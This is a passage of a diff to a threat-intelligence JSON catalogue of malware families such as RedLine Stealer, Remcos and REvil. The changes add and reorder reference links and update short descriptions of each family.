"https://www.cert.pl/en/news/single/ramnit-in-depth-analysis/", + "https://research.checkpoint.com/2020/graphology-of-an-exploit-playbit/", + "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", + "http://www.vkremez.com/2018/02/deeper-dive-into-ramnit-banker-vnc-ifsb.html", + "https://www.researchgate.net/profile/Lorenzo-De-Carli/publication/320250366_Botnet_protocol_inference_in_the_presence_of_encrypted_traffic/links/5fa9608792851cc286a08592/Botnet-protocol-inference-in-the-presence-of-encrypted-traffic.pdf?origin=publication_detail", "https://redcanary.com/resources/webinars/deep-dive-process-injection/", "https://gallery.mailchimp.com/c35aef82661dad887b8162a4f/files/e24e8206-a157-4796-a8cb-2b7262cc76e8/CSIS_Threat_Matrix_H1_2019.pdf", - "https://research.checkpoint.com/ramnits-network-proxy-servers/", - "http://www.secureworks.com/research/threat-profiles/gold-fairfax", - "http://www.vkremez.com/2018/02/deeper-dive-into-ramnit-banker-vnc-ifsb.html", - "https://www.youtube.com/watch?v=l6ZunH6YG0A", - "https://ibm.ent.box.com/s/hs5pcayhbbhjvj8di5sqdpbbd88tsh89", - "https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/w32-ramnit-analysis-15-en.pdf", - "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", - "https://www.researchgate.net/profile/Lorenzo-De-Carli/publication/320250366_Botnet_protocol_inference_in_the_presence_of_encrypted_traffic/links/5fa9608792851cc286a08592/Botnet-protocol-inference-in-the-presence-of-encrypted-traffic.pdf?origin=publication_detail" + "https://muha2xmad.github.io/unpacking/ramnit/" ], "synonyms": [ "Nimnul" @@ -29201,11 +34626,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ramsay", + "https://www.youtube.com/watch?v=SKIu4LqMrns", + "https://www.sentinelone.com/blog/why-on-device-detection-matters-new-ramsay-trojan-targets-air-gapped-networks/", "https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/", "https://www.antiy.cn/research/notice&report/research_report/20200522.html", - "https://blog.bushidotoken.net/2020/06/deep-dive-darkhotel-apt.html", - "https://www.youtube.com/watch?v=SKIu4LqMrns", - "https://www.sentinelone.com/blog/why-on-device-detection-matters-new-ramsay-trojan-targets-air-gapped-networks/" + "https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf", + "https://blog.bushidotoken.net/2020/06/deep-dive-darkhotel-apt.html" ], "synonyms": [], "type": [] @@ -29218,11 +34644,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ranbyus", - "https://www.group-ib.ru/brochures/Group-IB-Corkow-Report-EN.pdf", "https://www.welivesecurity.com/2012/12/19/win32spy-ranbyus-modifying-java-code-in-rbs/", - "https://www.welivesecurity.com/2012/06/05/smartcard-vulnerabilities-in-modern-banking-malware/", "http://www.xylibox.com/2013/01/trojanwin32spyranbyus.html", - "https://www.johannesbader.ch/2015/05/the-dga-of-ranbyus/" + "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", + "https://www.welivesecurity.com/2012/06/05/smartcard-vulnerabilities-in-modern-banking-malware/", + "https://www.johannesbader.ch/2015/05/the-dga-of-ranbyus/", + "https://www.group-ib.ru/brochures/Group-IB-Corkow-Report-EN.pdf" ], "synonyms": [], "type": [] @@ -29230,6 +34657,19 @@ "uuid": "5d9a27e7-3110-470a-ac0d-2bf00cac7846", "value": "Ranbyus" }, + { + "description": "Ransomware.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.ranion", + "https://www.fortinet.com/blog/threat-research/ranion-ransomware-quiet-and-persistent-raas" + ], + "synonyms": [], + "type": [] + }, + "uuid": "2ae8b99c-cebe-4758-8ae9-8f336a7bef0d", + "value": "Ranion" + }, { "description": "", "meta": { @@ -29273,14 +34713,17 @@ "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://medium.com/proferosec-osm/ransomexx-fixing-corrupted-ransom-8e379bcaf701", "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/", "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/", + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-ransomexx", "https://www.bleepingcomputer.com/news/security/brazils-court-system-under-massive-ransomexx-ransomware-attack/", "https://github.com/Bleeping/Ransom.exx", "https://www.bleepingcomputer.com/news/security/ransomware-attack-hits-italys-lazio-region-affects-covid-19-site/", "https://id-ransomware.blogspot.com/2020/06/ransomexx-ransomware.html", "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", + "https://www.ic3.gov/Media/News/2021/211101.pdf", "https://securelist.com/ransomexx-trojan-attacks-linux-systems/99279/", "https://www.youtube.com/watch?v=qxPXxWMI2i4", "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/5/", @@ -29382,6 +34825,23 @@ "uuid": "e0a1407f-2595-4bd2-ba16-2c6d9be4e066", "value": "rarstar" }, + { + "description": "Worm spread by external drives that leverages Windows Installer to reach out to QNAP-associated domains and download a malicious DLL.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.raspberry_robin", + "https://redcanary.com/blog/raspberry-robin/" + ], + "synonyms": [ + "LINK_MSIEXEC", + "QNAP-Worm", + "RaspberryRobin" + ], + "type": [] + }, + "uuid": "34b3a45b-e522-4342-91c8-b6aad9817f99", + "value": "Raspberry Robin" + }, { "description": "This is a backdoor that establishes persistence using the Startup folder. \r\nIt communicates to its C&C server using HTTPS and a static HTTP User-Agent \r\nstring. QUICKRIDE is capable of gathering information about the system, \r\ndownloading and loading executables, and uninstalling itself. It was leveraged \r\nagainst banks in Poland.", "meta": { @@ -29488,6 +34948,7 @@ "http://blogs.360.cn/post/APT-C-34_Golden_Falcon.html", "https://www.virusbulletin.com/virusbulletin/2020/01/vb2019-paper-rich-headers-leveraging-mysterious-artifact-pe-format/", "https://www.intego.com/mac-security-blog/new-apple-mac-trojan-called-osxcrisis-discovered-by-intego-virus-team/?", + "https://www.f-secure.com/content/dam/f-secure/en/labs/whitepapers/Callisto_Group.pdf", "https://www.virusbulletin.com/virusbulletin/2019/01/vb2018-paper-hacking-team-hacked-team/", "http://contagiodump.blogspot.com/2012/12/aug-2012-w32crisis-and-osxcrisis-jar.html", "https://www.welivesecurity.com/2018/03/09/new-traces-hacking-team-wild/" @@ -29586,19 +35047,6 @@ "uuid": "6be9eee4-ee99-4ad6-bee3-2365d7b37a88", "value": "RedAlpha" }, - { - "description": "RedDelta variant of PlugX as used by Mustang Panda.", - "meta": { - "refs": [ - "https://malpedia.caad.fkie.fraunhofer.de/details/win.reddelta", - "https://www.proofpoint.com/us/blog/threat-insight/ta416-goes-ground-and-returns-golang-plugx-malware-loader" - ], - "synonyms": [], - "type": [] - }, - "uuid": "a28c43e7-f303-4adb-b5f7-c3c7f9821bcd", - "value": "RedDelta" - }, { "description": "", "meta": { @@ -29630,26 +35078,63 @@ "value": "RedLeaves" }, { - "description": "RedLine Stealer is a malware available on underground forums for sale apparently as standalone versions or also on a subscription basis. This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.", + "description": "RedLine Stealer is a malware available on underground forums for sale apparently as standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer", + "https://www.microsoft.com/security/blog/2022/05/17/in-hot-pursuit-of-cryware-defending-hot-wallets-from-attacks/", + "https://www.zscaler.com/blogs/security-research/cybergate-rat-and-redline-stealer-delivered-ongoing-autoit-malware-campaigns", "https://www.proofpoint.com/us/threat-insight/post/new-redline-stealer-distributed-using-coronavirus-themed-email-campaign", - "https://medium.com/csis-techblog/gcleaner-garbage-provider-since-2019-2708e7c87a8a", - "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", - "https://cyber-anubis.github.io/malware%20analysis/redline/", - "https://blogs.blackberry.com/en/2021/07/threat-thursday-redline-infostealer", - "https://blog.minerva-labs.com/become-a-vip-victim-with-new-discord-distributed-malware", - "https://securityintelligence.com/posts/roboski-global-recovery-automation/", - "https://blogs.juniper.net/en-us/threat-research/new-pastebin-like-service-used-in-multiple-malware-campaigns", + "https://blog.morphisec.com/syk-crypter-discord", + "https://www.trendmicro.com/en_us/research/21/k/campaign-abusing-rats-uses-fake-websites.html", + "https://www.esentire.com/blog/redline-stealer-masquerades-as-photo-editing-software", + "https://blog.chainalysis.com/reports/2022-crypto-crime-report-preview-malware/", "https://blog.minerva-labs.com/redline-stealer-masquerades-as-telegram-installer", - "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", - "https://blog.morphisec.com/google-ppc-ads-deliver-redline-taurus-and-mini-redline-infostealers", - "https://bartblaze.blogspot.com/2021/06/digital-artists-targeted-in-redline.html", + "https://unit42.paloaltonetworks.com/lapsus-group/", "https://www.proofpoint.com/us/threat-insight/post/ta505-and-others-launch-new-coronavirus-campaigns-now-largest-collection-attack", + "https://blog.talosintelligence.com/2022/04/haskers-gang-zingostealer.html", + "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", + "https://www.bleepingcomputer.com/news/security/fake-windows-11-upgrade-installers-infect-you-with-redline-malware/", + "https://www.bitdefender.com/files/News/CaseStudies/study/415/Bitdefender-PR-Whitepaper-RedLine-creat6109-en-EN.pdf", + "https://cyber-anubis.github.io/malware%20analysis/redline/", + "https://asec.ahnlab.com/en/35981/", + "https://www.atomicmatryoshka.com/post/cracking-open-the-malware-pi%C3%B1ata-series-intro-to-dynamic-analysis-with-redlinestealer", + "https://blog.minerva-labs.com/underminer-exploit-kit-the-more-you-check-the-more-evasive-you-become", + "https://blog.rootshell.be/2022/01/20/sans-isc-redline-stealer-delivered-through-ftp/", + "https://muha2xmad.github.io/malware-analysis/fullredline/", + "https://blog.minerva-labs.com/become-a-vip-victim-with-new-discord-distributed-malware", + "https://www.bleepingcomputer.com/news/security/fake-valorant-cheats-on-youtube-infect-you-with-redline-stealer/", + "https://www.qualys.com/docs/whitepapers/qualys-wp-fake-cracked-software-caught-peddling-redline-stealers-v220606.pdf", + "https://www.netskope.com/blog/redline-stealer-campaign-using-binance-mystery-box-videos-to-spread-github-hosted-payload", + "https://threatresearch.ext.hp.com/redline-stealer-disguised-as-a-windows-11-upgrade/", + "https://krebsonsecurity.com/2022/03/a-closer-look-at-the-lapsus-data-extortion-group/", + "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", + "https://medium.com/csis-techblog/gcleaner-garbage-provider-since-2019-2708e7c87a8a", + "https://team-cymru.com/blog/2022/05/25/bablosoft-lowering-the-barrier-of-entry-for-malicious-actors/", "https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Additional%20Analysis/UnknownTA/2020-09-07/Analysis.md", + "https://blogs.juniper.net/en-us/threat-research/new-pastebin-like-service-used-in-multiple-malware-campaigns", "https://www.bleepingcomputer.com/news/security/redline-info-stealing-malware-spread-by-folding-home-phishing/", - "https://www.trendmicro.com/en_us/research/21/i/fake-installers-drop-malware-and-open-doors-for-opportunistic-attackers.html" + "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", + "https://asec.ahnlab.com/en/30445/", + "https://securityaffairs.co/wordpress/129391/hacking/lapsus-gang-compromised-microsoft-employees-account.html", + "https://www.fortinet.com/blog/threat-research/omicron-variant-lure-used-to-distribute-redline-stealer", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/trellix-global-defenders-invaders-of-the-information-snatchers.html", + "https://medium.com/s2wblog/deep-analysis-of-redline-stealer-leaked-credential-with-wcf-7b31901da904", + "https://isc.sans.edu/forums/diary/RedLine+Stealer+Delivered+Through+FTP/28258/", + "https://www.bleepingcomputer.com/news/security/massive-campaign-uses-youtube-to-push-password-stealing-malware/", + "https://www.bitdefender.com/blog/labs/redline-stealer-resurfaces-in-fresh-rig-exploit-kit-campaign/", + "https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/", + "https://blogs.blackberry.com/en/2021/07/threat-thursday-redline-infostealer", + "https://go.recordedfuture.com/hubfs/reports/mtp-2021-1014.pdf", + "https://www.bleepingcomputer.com/news/microsoft/microsoft-confirms-they-were-hacked-by-lapsus-extortion-group/", + "https://securityintelligence.com/posts/roboski-global-recovery-automation/", + "https://www.trendmicro.com/en_us/research/21/i/fake-installers-drop-malware-and-open-doors-for-opportunistic-attackers.html", + "https://intel471.com/blog/privateloader-malware", + "https://blog.morphisec.com/google-ppc-ads-deliver-redline-taurus-and-mini-redline-infostealers", + "https://blog.talosintelligence.com/2021/12/magnat-campaigns-use-malvertising-to.html", + "https://bartblaze.blogspot.com/2021/06/digital-artists-targeted-in-redline.html", + "https://asec.ahnlab.com/ko/25837/", + "https://thehackernews.com/2022/03/microsoft-and-okta-confirm-breach-by.html" ], "synonyms": [], "type": [] @@ -29799,7 +35284,9 @@ "https://www.kaspersky.com/blog/regin-apt-most-sophisticated/6852/", "https://securelist.com/big-threats-using-code-similarity-part-1/97239/", "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=ce2df4da-afe9-4a24-b28c-0fb3ba671d95&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments", - "https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/regin-top-tier-espionage-tool-15-en.pdf" + "https://securelist.com/regin-nation-state-ownage-of-gsm-networks/67741/", + "https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/regin-top-tier-espionage-tool-15-en.pdf", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070305/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf" ], "synonyms": [], "type": [] @@ -29842,7 +35329,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rekoobew", - "https://yoroi.company/research/shadows-from-the-past-threaten-italian-enterprises/" + "https://yoroi.company/research/shadows-from-the-past-threaten-italian-enterprises/", + "https://www.mandiant.com/resources/fin13-cybercriminal-mexico" ], "synonyms": [ "tinyshell.win", @@ -29902,21 +35390,28 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos", + "https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/", "https://blog.morphisec.com/tracking-hcrypt-an-active-crypter-as-a-service", + "https://www.trendmicro.com/en_us/research/21/k/campaign-abusing-rats-uses-fake-websites.html", "https://dissectingmalwa.re/malicious-ratatouille.html", "https://www.proofpoint.com/us/blog/threat-insight/commodity-net-packers-use-embedded-images-hide-payloads", "https://labs.bitdefender.com/2020/03/5-times-more-coronavirus-themed-malware-reports-during-march/?utm_campaign=twitter&utm_medium=twitter&utm_source=twitter", "https://github.com/1d8/analyses/blob/master/RemcosDocDropper.MD", + "https://asec.ahnlab.com/ko/32101/", "https://www.telsy.com/download/4832/", + "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage", "https://blog.talosintelligence.com/2020/04/azorult-brings-friends-to-party.html", "https://www.fortinet.com/blog/threat-research/new-variant-of-remcos-rat-observed-in-the-wild.html", - "https://blog.talosintelligence.com/2020/06/tor2mine-is-up-to-their-old-tricks-and_11.html", + "https://blog.talosintelligence.com/2018/08/picking-apart-remcos.html", + "https://www.proofpoint.com/us/blog/threat-insight/new-threat-actor-spoofs-philippine-government-covid-19-health-data-widespread", "https://secrary.com/ReversingMalware/RemcosRAT/", "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage", - "https://blog.talosintelligence.com/2018/08/picking-apart-remcos.html", - "https://www.welivesecurity.com/2021/10/06/moon-hack-fake-safemoon-cryptocurrency-app-drops-malware-spy/", - "https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/", - "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage", + "https://blog.talosintelligence.com/2020/06/tor2mine-is-up-to-their-old-tricks-and_11.html", + "https://threatresearch.ext.hp.com/javascript-malware-dispensing-rats-into-the-wild/", + "https://blog.morphisec.com/remcos-trojan-analyzing-attack-chain", + "https://www.splunk.com/en_us/blog/security/detecting-malware-script-loaders-using-remcos-threat-research-release-december-2021.html", + "https://www.esentire.com/blog/remcos-rat", + "https://threatresearch.ext.hp.com/malware-campaigns-targeting-african-banking-sector/", "https://www.gdatasoftware.com/blog/global-pandemic-remcos-tesla-netwire", "https://www.trendmicro.com/en_ca/research/19/h/analysis-new-remcos-rat-arrives-via-phishing-email.html", "https://blog.fortinet.com/2017/02/14/remcos-a-new-rat-in-the-wild-2", @@ -29924,25 +35419,41 @@ "https://www.ptsecurity.com/ww-en/analytics/antisandbox-techniques/", "https://myonlinesecurity.co.uk/fake-order-spoofed-from-finchers-ltd-sankyo-rubber-delivers-remcos-rat-via-ace-attachments/", "https://www.proofpoint.com/us/threat-insight/post/coronavirus-threat-landscape-update", + "https://www.bitdefender.com/blog/hotforsecurity/bitdefender-labs-sees-increased-malicious-and-scam-activity-exploiting-the-war-in-ukraine", "https://www.cybereason.com/blog/cybereason-exposes-malware-targeting-us-taxpayers", + "https://blog.morphisec.com/the-babadeda-crypter-targeting-crypto-nft-defi-communities", "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", "http://malware-traffic-analysis.net/2017/12/22/index.html", + "https://isc.sans.edu/forums/diary/Remcos+RAT+Delivered+Through+Double+Compressed+Archive/28354/", + "https://blog.morphisec.com/hubfs/Journey%20of%20a%20Crypto%20Scammer%20-%20NFT-001%20%7C%20Morphisec%20%7C%20Threat%20Report.pdf", "https://blog.checkpoint.com/2019/06/19/sandblast-agent-phishing-germany-campaign-security-hack-ransomware/", "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", "https://krabsonsecurity.com/2018/03/02/analysing-remcos-rats-executable/", "https://news.sophos.com/en-us/2020/05/14/raticate/", "https://www.anomali.com/blog/threat-actors-use-msbuild-to-deliver-rats-filelessly", + "https://www.welivesecurity.com/2021/10/06/moon-hack-fake-safemoon-cryptocurrency-app-drops-malware-spy/", "https://blog.malwarebytes.com/threat-analysis/2021/07/remcos-rat-delivered-via-visual-basic/", "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-old-dogs-new-tricks.pdf", + "https://www.youtube.com/watch?v=DIH4SvKuktM", "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-american-entities-with-commodity-rats/BlindEagleIOCList.txt", + "https://medium.com/@amgedwageh/analysis-of-an-autoit-script-that-wraps-a-remcos-rat-6b5b66075b87", + "https://asec.ahnlab.com/en/32376/", + "https://github.com/itaymigdal/malware-analysis-writeups/blob/main/Remcos/Remcos.md", "https://www.riskiq.com/blog/labs/spear-phishing-turkish-defense-contractors/", "https://www.bitdefender.com/files/News/CaseStudies/study/390/Bitdefender-PR-Whitepaper-Remcos-creat5080-en-EN-GenericUse.pdf", "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/", "https://blog.360totalsecurity.com/en/vendetta-new-threat-actor-from-europe/", "https://securityintelligence.com/posts/roboski-global-recovery-automation/", + "https://threatresearch.ext.hp.com/wp-content/uploads/2021/10/HP-Wolf-Security-Threat-Insights-Report-Q3-2021.pdf", + "https://www.splunk.com/en_us/blog/security/fin7-tools-resurface-in-the-field-splinter-or-copycat.html", + "https://muha2xmad.github.io/mal-document/remcosdoc/", "https://www.proofpoint.com/us/threat-insight/post/new-whiteshadow-downloader-uses-microsoft-sql-retrieve-malware", + "https://intel471.com/blog/privateloader-malware", + "https://www.bleepingcomputer.com/news/security/russia-ukraine-war-exploited-as-lure-for-malware-distribution/", + "https://muha2xmad.github.io/unpacking/remcos/", "https://www.vmray.com/cyber-security-blog/smart-memory-dumping/", - "https://www.youtube.com/watch?v=DIH4SvKuktM", + "https://www.fortinet.com/blog/threat-research/latest-remcos-rat-phishing", + "https://asec.ahnlab.com/ko/25837/", "https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols" ], "synonyms": [ @@ -30095,7 +35606,8 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.retro", "https://blog.360totalsecurity.com/en/analysis-cve-2018-8174-vbscript-0day-apt-actor-related-office-targeted-attack/", "https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/", - "https://blog.bushidotoken.net/2020/06/deep-dive-darkhotel-apt.html" + "https://blog.bushidotoken.net/2020/06/deep-dive-darkhotel-apt.html", + "https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf" ], "synonyms": [], "type": [] @@ -30104,7 +35616,7 @@ "value": "Retro" }, { - "description": "", + "description": "According to Cofense, Revenge RAT is a simple and freely available Remote Access Trojan that automatically gathers system information before allowing threat actors to remotely access system components such as webcams, microphones, and various other utilities.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.revenge_rat", @@ -30115,9 +35627,11 @@ "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/", "https://securelist.com/revengehotels/95229/", "https://blog.talosintelligence.com/2021/04/a-year-of-fajan-evolution-and-bloomberg.html", + "https://perception-point.io/revenge-rat-back-from-microsoft-excel-macros/", "https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader", - "https://www.binarydefense.com/revenge-is-a-dish-best-served-obfuscated", + "https://github.com/itaymigdal/malware-analysis-writeups/blob/main/RevengeRAT/RevengeRAT.md", "https://yoroi.company/research/the-evolution-of-aggah-from-roma225-to-the-rg-campaign/", + "https://www.binarydefense.com/revenge-is-a-dish-best-served-obfuscated", "https://blog.yoroi.company/research/aggah-how-to-run-a-botnet-without-renting-a-server-for-more-than-a-year/", "https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries", "https://blogs.360.cn/post/APT-C-44.html", @@ -30140,7 +35654,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.reverse_rat", - "https://www.seqrite.com/documents/en/white-papers/Whitepaper-OperationSideCopy.pdf" + "https://blog.lumen.com/suspected-pakistani-actor-compromises-indian-power-company-with-new-reverserat/", + "https://www.seqrite.com/documents/en/white-papers/Whitepaper-OperationSideCopy.pdf", + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf?1625657388", + "https://blog.lumen.com/reverserat-reemerges-with-a-nightfury-new-campaign-and-new-developments-same-familiar-side-actor/", + "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf" ], "synonyms": [], "type": [] @@ -30169,23 +35687,31 @@ "https://therecord.media/i-scrounged-through-the-trash-heaps-now-im-a-millionaire-an-interview-with-revils-unknown/", "https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/", "https://twitter.com/VK_Intel/status/1374571480370061312?s=20", + "https://www.ironnet.com/blog/ransomware-graphic-blog", + "https://storage.courtlistener.com/recap/gov.uscourts.txnd.352371/gov.uscourts.txnd.352371.1.0_1.pdf", + "https://us-cert.cisa.gov/ncas/current-activity/2021/07/04/cisa-fbi-guidance-msps-and-their-customers-affected-kaseya-vsa", "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", "https://blog.talosintelligence.com/2021/03/ctir-trends-winter-2020-21.html", + "https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html", "https://blog.group-ib.com/REvil_RaaS", "https://www.tgsoft.it/english/news_archivio_eng.asp?id=1004", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://www.bleepingcomputer.com/news/security/revil-ransomware-returns-new-malware-sample-confirms-gang-is-back/", "https://www.pandasecurity.com/emailhtml/2007-CAM-RANSOMWARE-AD360-WG/2006-Report-Sodinokibi-EN.pdf", "https://blog.redteam.pl/2020/05/sodinokibi-revil-ransomware.html", "https://blog.intel471.com/2020/03/31/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/", "https://www.bleepingcomputer.com/news/security/revil-ransomware-devs-added-a-backdoor-to-cheat-affiliates/", "https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-threatens-to-publish-data-of-automotive-group/", + "https://www.documentcloud.org/documents/21505031-hgsac-staff-report-americas-data-held-hostage-032422", + "https://www.secureworks.com/blog/revil-the-gandcrab-connection", "https://twitter.com/fwosar/status/1411281334870368260", "https://www.zdnet.com/article/revil-ransomware-gang-launches-auction-site-to-sell-stolen-data/", "https://news.sophos.com/en-us/2021/06/11/relentless-revil-revealed/", "https://www.reddit.com/r/msp/comments/ocggbv/crticial_ransomware_incident_in_progress/", "https://cti-league.com/wp-content/uploads/2021/02/CTI-League-Darknet-Report-2021.pdf", "https://www.bleepingcomputer.com/news/security/blackmatter-ransomware-gang-rises-from-the-ashes-of-darkside-revil/", - "https://www.netskope.com/blog/netskope-threat-coverage-revil", + "https://www.flashpoint-intel.com/blog/interview-with-revil-affiliated-ransomware-contractor/", "https://krebsonsecurity.com/2019/07/is-revil-the-new-gandcrab-ransomware/", "https://twitter.com/VK_Intel/status/1411066870350942213", "https://public.intel471.com/blog/revil-ransomware-interview-russian-osint-100-million/", @@ -30202,10 +35728,13 @@ "https://twitter.com/svch0st/status/1411537562380816384", "https://therecord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-attacks/", "https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-says-travelex-will-pay-one-way-or-another/", - "https://www.youtube.com/watch?v=P8o6GItci5w", + "https://www.bleepingcomputer.com/news/security/another-ransomware-will-now-publish-victims-data-if-not-paid/", + "https://www.acronis.com/en-sg/articles/sodinokibi-ransomware/", + "https://www.splunk.com/en_us/blog/security/kaseya-sera-what-revil-shall-encrypt-shall-encrypt.html", "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", "https://www.digitalshadows.com/blog-and-research/competitions-on-russian-language-cybercriminal-forums-sharing-expertise-or-threat-actor-showboating/", - "https://www.bleepingcomputer.com/news/security/another-ransomware-will-now-publish-victims-data-if-not-paid/", + "https://therecord.media/us-arrests-and-charges-ukrainian-man-for-kaseya-ransomware-attack/", + "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", "https://blog.truesec.com/2021/07/06/kaseya-vsa-zero-day-exploit", "https://therecord.media/revil-ransomware-executes-supply-chain-attack-via-malicious-kaseya-update/", "https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/", @@ -30218,58 +35747,75 @@ "https://awakesecurity.com/blog/threat-hunting-for-revil-ransomware/", "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", "https://twitter.com/fwosar/status/1420119812815138824", + "https://krebsonsecurity.com/2021/11/revil-ransom-arrest-6m-seizure-and-10m-reward/", "https://hatching.io/blog/ransomware-part2", "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout", "https://www.flashpoint-intel.com/blog/possible-universal-revil-master-key-posted-to-xss/", - "https://www.secureworks.com/research/lv-ransomware", + "https://www.justice.gov/opa/pr/sodinokibirevil-ransomware-defendant-extradited-united-states-and-arraigned-texas", + "https://www.fincen.gov/sites/default/files/advisory/2021-11-08/FinCEN%20Ransomware%20Advisory_FINAL_508_.pdf", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", "https://www.bleepingcomputer.com/news/security/three-more-ransomware-families-create-sites-to-leak-stolen-data/", - "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", + "https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-009/", "https://sites.temple.edu/care/ci-rw-attacks/", "https://www.huntress.com/blog/security-researchers-hunt-to-discover-origins-of-the-kaseya-vsa-mass-ransomware-incident", "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/undressing-the-revil/", + 